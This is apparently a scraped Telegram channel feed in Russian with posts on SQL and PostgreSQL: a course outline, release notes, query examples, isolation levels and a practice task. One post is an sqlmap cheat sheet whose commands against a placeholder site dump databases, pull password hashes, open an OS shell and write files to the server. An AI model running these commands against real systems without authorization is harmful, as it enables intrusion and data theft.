Telegram Web
🖥 Учебный курс «DBA2. Администрирование PostgreSQL 13. Настройка и мониторинг»

DBA2-13. 00. Введение
DBA2-13. 01. Изоляция
DBA2-13. 02. Страницы и версии строк
DBA2-13. 03. Снимки данных
DBA2-13. 04. HOT-обновления
DBA2-13. 05. Очистка
DBA2-13. 06. Автоочистка
DBA2-13. 07. Заморозка
DBA2-13. 08. Буферный кеш
DBA2-13. 09. Журнал предзаписи
DBA2-13. 10. Контрольная точка
DBA2-13. 11. Настройка журнала
DBA2-13. 12. Блокировки объектов
DBA2-13. 13. Блокировки строк
DBA2-13. 14. Блокировки в оперативной памяти
DBA2-13. 15. Управление расширениями
DBA2-13. 16. Локализация
DBA2-13. 17. Обновление сервера

Источник

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍87
🖥 SQL tips and tricks

Круташий набор лайфхаков и советов по улучшению SQL запросов.

В нём представлены методы повышения читаемости кода и предотвращения распространённых ошибок и рекомендации по оптимизации.

Github

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍16🔥32
🖥 Релиз СУБД PostgreSQL 17

После года разработки опубликована новая стабильная ветка СУБД PostgreSQL 17. Обновления для новой ветки будут выходить в течение пяти лет до ноября 2029 года. Поддержка PostgreSQL 12.x, самой старой из поддерживаемых веток, будет прекращена 14 ноября.

📌 Основные новшества:

- При выполнении операции VACUUM (сборка мусора, чистка и упаковка дискового хранилища) задействована новая структура данных, потребляющая до 20 раз меньше памяти. Переход на новую структуру позволил ускорить выполнение операций VACUUM и сократить потребление совместно используемых ресурсов.
- Продолжена оптимизация производительности ввода/вывода. Благодаря улучшению кода для обработки лога отложенной записи WAL удалось до двух раз повысить пропускную способность операций записи в системах с большим числом одновременно выполняемых запросов.
- Предложен новый интерфейс потокового ввода/вывода, позволивший повысить скорость последовательного перебора данных в таблицах и ускорить обновление статистики для планировщика запросов после выполнения операции ANALYZE.
- Повышена производительность запросов с выражением "IN", если в них используются индексы на базе структуры B-tree. Реализована возможность параллельного построения индексов BRIN (Block Range Index). В планировщике запросов оптимизированы проверки "NOT NULL" и ускорена обработка обобщённых табличных выражений (Common Table Expression, CTE) определяемых при помощи SQL-команды "WITH". Обеспечено использование векторных процессорных инструкций (SIMD) для ускорения некоторых вычислений, например, для ускорения функции bit_count задействованы инструкции AVX-512.
- Реализована поддержка новых возможностей для работы с форматом JSON, определённых в стандарте SQL/JSON. Добавлена функция JSON-TABLE для преобразования данных из формата JSON в обычные таблицы PostgreSQL, а также новые операторы jsonpath для преобразования данных JSON в родные для PostgreSQL типы данных. Предложены новые функции для создания (JSON, JSON_SCALAR и JSON_SERIALIZE) и запроса (JSON_EXISTS, JSON_QUERY и JSON_VALUE) данных в формате JSON.
- Расширены возможности SQL-команды "MERGE", позволяющей создавать условные SQL-выражения, объединяющие в одном выражении операции INSERT, UPDATE и DELETE. Добавлена поддержка выражения RETURNING, позволяющего вычислять и возвращать значения на основе добавленных, обновлённых или удалённых строк. Реализована поддержка обновления представлений.

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍26🔥83🎉1
🔐 Шпаргалка по использованию sqlmap

SQLMAP — это инструмент для проникновения с открытым исходным кодом.

SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .

Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.

🌟 Базовый скан URL на наличие уязвимостей:

sqlmap -u "http://example.com/page.php?id=1"


🌟 Автоматический дамп всех баз данных:

sqlmap -u "http://example.com/page.php?id=1" --dbs


🌟 Извлечение таблиц из конкретной базы данных:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables


🌟 Извлечение данных из конкретной таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump


🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:

sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"


🌟 Подбор базы данных и получение информации о пользователях:

sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user


🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:

sqlmap -u "http://example.com/page.php?id=1" --os-shell


🌟 Выполнение SQL-запросов вручную:

sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"


🌟 Проверка на возможность подключения с правами администратора:

sqlmap -u "http://example.com/page.php?id=1" --is-dba


🌟 Брутфорсирование паролей пользователей:

sqlmap -u "http://example.com/page.php?id=1" --passwords


🌟 Загрузка файла на удаленный сервер:

sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"


🌟 Получение списка столбцов из таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns


🌟 Использование прокси-сервера:

sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"


🌟 Определение используемой базы данных и версии:

sqlmap -u "http://example.com/page.php?id=1" --banner


🌟 Атака на POST-запросы (если параметры передаются в теле):

sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"


@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍82😁1🤔1
🖥 Как эффективно использовать SQL для Data Science?

💡 SQL — это не только инструмент для создания и управления базами данных. Его мощь часто недооценивается в контексте Data Science. Давайте рассмотрим, как SQL может помочь на каждом этапе работы с данными и почему стоит изучить его глубже.

🔍 1. Предварительная обработка данных (Data Preprocessing)
Обычно данные находятся в сыром виде и требуют значительной очистки и приведения в нужный формат. SQL позволяет быстро выполнять объединения, группировки, фильтрацию и агрегацию данных без необходимости выгружать большие наборы данных в Python или R.

Пример:

-- Выбираем транзакции с суммой выше среднего и сгруппированные по пользователям
SELECT user_id, AVG(transaction_amount) AS avg_amount
FROM transactions
GROUP BY user_id
HAVING AVG(transaction_amount) > (
SELECT AVG(transaction_amount) FROM transactions
);


Это простой запрос, но он помогает сразу увидеть клиентов, у которых уровень трат выше среднего.

🖥 2. Feature Engineering с SQL
Формирование признаков — ключевой этап для создания моделей. Используя SQL, можно легко создавать категориальные признаки, вычислять периоды между событиями и генерировать агрегированные значения.

Например, создание признака активности пользователя:

-- Количество покупок за последние 30 дней
SELECT user_id, COUNT(*) AS purchases_last_30_days
FROM purchases
WHERE purchase_date >= DATE_SUB(CURDATE(), INTERVAL 30 DAY)
GROUP BY user_id;


Такой запрос может быть полезен для прогнозирования оттока клиентов.

📈 3. Анализ временных рядов
Работа с временными рядами — это отдельная задача. SQL поддерживает такие функции, как скользящие средние и кумулятивные суммы.

-- Построение 7-дневного скользящего среднего по продажам
SELECT
sales_date,
sales_amount,
AVG(sales_amount) OVER (ORDER BY sales_date ROWS BETWEEN 6 PRECEDING AND CURRENT ROW) AS moving_avg_7_days
FROM sales_data;


Используя такие функции, можно получать первичный анализ временных рядов прямо из базы данных, без перехода к pandas или другим библиотекам.

📊 4. Построение аналитических отчетов
SQL — отличный инструмент для создания дашбордов и отчетов. Используя CTE (Common Table Expressions), подзапросы и оконные функции, можно строить сложные отчеты, которые сразу дадут глубокое понимание данных.

WITH monthly_sales AS (
SELECT
EXTRACT(MONTH FROM sales_date) AS month,
SUM(sales_amount) AS total_sales
FROM sales_data
GROUP BY EXTRACT(MONTH FROM sales_date)
)
SELECT
month,
total_sales,
LAG(total_sales) OVER (ORDER BY month) AS previous_month_sales,
total_sales - LAG(total_sales) OVER (ORDER BY month) AS growth
FROM monthly_sales;


Этот запрос позволит сразу увидеть динамику продаж по месяцам и рост относительно предыдущего периода

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍296🔥2👏1
🖥 Функция STUFF() в SQL

Пример:
SELECT STUFF('Hello World', 7, 5, 'SQL') AS Result;


🌟 Результат: Hello SQL

🔍 Объяснение:

🌟 Начальная позиция: 7 — замена начинается с 7-го символа (буква W).
🌟 Длина: 5 — удаляем 5 символов (World).
🌟 Замещающая строка: 'SQL' — вставляем вместо удалённой подстроки

💡 Другой пример: иногда STUFF() используется совместно с другими функциями для создания строк с разделителями. Например, объединим значения из нескольких строк в одну строку через запятую:

SELECT
DepartmentID,
STUFF(
(SELECT ',' + EmployeeName
FROM Employees
WHERE DepartmentID = E.DepartmentID
FOR XML PATH('')),
1, 1, '') AS EmployeesList
FROM Employees E
GROUP BY DepartmentID;


🌟 В данном примере STUFF() удаляет первый символ запятой и создает аккуратный список сотрудников для каждого отдела

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥22👍97👎1
📊 OpenBB — это платформа для инвестиционных исследований, предоставляющая доступ к акциям, опционам, криптовалютам, форексу и макроэкономическим данным. Платформа ориентирована на пользователей всех уровней и включает в себя как командную строку, так и графический интерфейс. 🌟 OpenBB предлагает бесплатный и открытый доступ к аналитическим инструментам и может быть расширен через различные плагины. Проект также поддерживает автоматизацию процессов и интеграцию с внешними сервисами

🔥 Инструмент является бесплатным аналогом Bloomberg terminal (подписка на который стоит $20 тыс. в год!)

👩‍💻 Язык: Python

🔐 Лицензия: GNU

Github

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍256🔥2
🖥 Полный курс по работе с SQL за 3 часа!

🔥 У этого видео 8 млн просмотров на YouTube, что безусловно говорит о его качестве!

🕞 Продолжительность: 3:16:13

🔗 Ссылка: *клик*

#курс #sql #datascience

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
17👎7👍4🔥4
🖥 sqlpd.com — онлайн игра, в которой нужно раскрывать преступления, используя язык SQL

🔗 Ссылка: *клик*

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥38👍139😁4
🖥 Довольно сложная задача по SQL: Анализ продаж с использованием оконных функций и вложенных подзапросов

🌟 Допустим, у вас есть следующие таблицы с данными о продажах и товарах:

CREATE TABLE sales (
sale_id INT PRIMARY KEY,
product_id INT,
sale_date DATE,
sale_amount INT
);

CREATE TABLE products (
product_id INT PRIMARY KEY,
category VARCHAR(50),
price DECIMAL(10, 2)
);


🌟 Таблица sales содержит информацию о продажах: ID продажи (sale_id), ID продукта (product_id), дата продажи (sale_date) и количество проданных единиц (sale_amount)
🌟 Таблица products хранит данные о продуктах: ID продукта (product_id), категория продукта (category) и цена (price)

Нужно создать запрос, который выполнит следующие действия:

🌟 Найти самую популярную категорию товаров по количеству продаж в каждом месяце.
🌟 Вывести результаты по месяцам, начиная с самого первого месяца продаж.
🌟 В каждой строке указать:
- Месяц (sale_month)
- Название категории (category)
- Общее количество проданных товаров в этой категории за месяц (total_sales)
- Разницу (difference) между текущими продажами категории и продажами этой же категории в предыдущем месяце. Если предыдущего месяца нет, вывести NULL

❗️ Решение:
WITH MonthlySales AS (
SELECT
DATE_FORMAT(sale_date, '%Y-%m') AS sale_month,
p.category,
SUM(sale_amount) AS total_sales
FROM sales s
JOIN products p ON s.product_id = p.product_id
GROUP BY DATE_FORMAT(sale_date, '%Y-%m'), p.category
),
RankedCategories AS (
SELECT
sale_month,
category,
total_sales,
ROW_NUMBER() OVER (PARTITION BY sale_month ORDER BY total_sales DESC) AS sales_rank
FROM MonthlySales
),
PopularCategories AS (
SELECT
sale_month,
category,
total_sales
FROM RankedCategories
WHERE sales_rank = 1
),
CategoryWithDifference AS (
SELECT
sale_month,
category,
total_sales,
LAG(total_sales, 1) OVER (PARTITION BY category ORDER BY sale_month) AS previous_sales
FROM PopularCategories
)
SELECT
sale_month,
category,
total_sales,
total_sales - previous_sales AS difference
FROM CategoryWithDifference
ORDER BY sale_month;


💡 Как это работает:

🌟 MonthlySales: Подзапрос агрегирует данные продаж по месяцам и категориям товаров, чтобы получить общее количество продаж (total_sales) в каждом месяце.
🌟 RankedCategories: Присваивает каждой категории её ранг (ROW_NUMBER()) в зависимости от количества продаж в месяц.
🌟 PopularCategories: Фильтрует только самую популярную категорию (с sales_rank = 1) для каждого месяца.
🌟 CategoryWithDifference: Использует оконную функцию LAG() для расчета разницы между продажами в текущем месяце и предыдущем

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍328🔥6👏6🥰1
💫 StarbaseDB

Мощная опенсорс база данных HTTP SQLite с открытым исходным кодом, масштабируемая до нуля и построенная на базе в Cloudflare.

Язык: Typescript

Особенности
- Эндпоинты HTTPS для взаимодействия с вашей базой данных
- Поддержка транзакций для взаимодействия с базой данных ACID
- Вычисления с нулевым масштабированием

Github

@sqlhub
👍76🔥3
🖥 Статья, в которой автор подробно рассказывает о различиях между SQL и noSQL базами данных, а также о преимуществах и недостатках каждого

🔗 Ссылка: *клик*

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍154🔥3
✔️ MongoDB создает партнерскую экосистему ИИ.

MongoDB представила обновлённую версию 8.0 своей базы данных линейки Enterprise и облачного сервиса Atlas. Обновления обещают увеличить пропускную способность на 32%, ускорить пакетную запись на 56% и повысить скорость параллельной записи на 20%.

Для решения проблем, связанных с быстрым развитием ИИ, неопределённостью в выборе технологий и нехваткой навыков, MongoDB запустила программу MongoDB AI Application Program (MAAP).

Компания планирует создать глобальную экосистему партнёров, которые будут устанавливать отраслевые стандарты для решений на основе ИИ, сотрудничая с Microsoft Azure, Google Cloud Platform, Amazon Web Services, Accenture, Anthropic и Fireworks AI.
Уже реализованы коммерческие решения для «французской автомобильной компании» и «глобального производителя бытовой техники».

🔗 iteuropa.com

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
5🔥3👍2
🖥 Создание высокопроизводительного RAG с использованием только PostgreSQL (полное руководство)!

🌟 Узнайте, как настроить PG Factor Scale для создания высокопроизводительных RAG для приложений ИИ с использованием Python. Изучите шаги по созданию собственной базы данных с открытым исходным кодом и ее использованию с ИИ!

🕞 Продолжительность: 35:42

🔗 Ссылка: *клик*

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍85👏2
🖥 Уровни изоляции транзакций в базах данных

В различных системах очен важно обеспечить согласованность данных при параллельных транзакциях. Одним из ключевых механизмов, который помогает в этом, являются уровни изоляции транзакций. Они регулируют, как обрабатываются изменения в данных при параллельной работе транзакций, предотвращая возможные аномалии.

🔑 Что такое изоляция транзакций?

Изоляция транзакций указывает степень, до которой операции в одной транзакции изолированы от операций в других. Это предотвращает такие проблемы, как грязные чтения, неповторяемые чтения и фантомные записи, обеспечивая целостность данных.

🔒 Типы уровней изоляции:

📌 Read Uncommitted:
Самый низкий уровень изоляции.

Транзакции могут читать изменения, сделанные другими транзакциями, даже если они не были зафиксированы (грязные чтения). Быстро, но рискованно.

📌 Read Committed:
Видны только зафиксированные данные. Это исключает грязные чтения, но могут возникать неповторяемые чтения (данные меняются между двумя запросами).

📌 Repeatable Read:

Это уровень, что данные, прочитанные транзакцией, не могут быть изменены другой транзакцией до завершения первой. Однако возможны фантомные чтения (новые строки появляются при повторных запросах).

📌 Serializable:
Самый высокий уровень изоляции. Полностью изолирует транзакцию, предотвращая грязные, неповторяемые и фантомные чтения. Однако это существенно снижает производительность.

Каждый уровень предлагает компромисс между производительностью и консистентностью данных. Более высокий уровень изоляции снижает конкурентоспособность, тогда как более низкий увеличивает риск возникновения аномалий. Важно правильно подобрать уровень в зависимости от требований приложения.

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥157👍4👎1🥰1
🖥 Курс по MySQL с использованием Python! (2024)

🌟 Небольшой курс для новичков по работе с БД MySQL через Python код!

🔗 Ссылка: *клик*

#курс #python #mysql

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥168👍6
🖥Полезная шппаргалка по проектированию реляционных баз данных

Реляционные базы данных представляют собой базы данных, которые используются для хранения и предоставления доступа к взаимосвязанным элементам информации. Реляционные базы данных основаны на реляционной модели — интуитивно понятном, наглядном табличном способе представления данных. Каждая строка, содержащая в таблице такой базы данных, представляет собой запись с уникальным идентификатором, который называют ключом. Столбцы таблицы имеют атрибуты данных, а каждая запись обычно содержит значение для каждого атрибута, что дает возможность легко устанавливать взаимосвязь между элементами данных.

Таблицы в такой базе данных также соотносятся друг с другом строго определенным образом. Реляционные базы данных используют целый комплекс инструментов, которые обеспечивают целостность данных, т. е. их точность, полноту и единообразие.

На картинке представлены ключевые моменты, которые следует знать о проектировании реляционных баз данных.

#азы #sql

@sqlhub
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12🔥53👎1
2025/07/12 20:25:28
Back to Top
HTML Embed Code: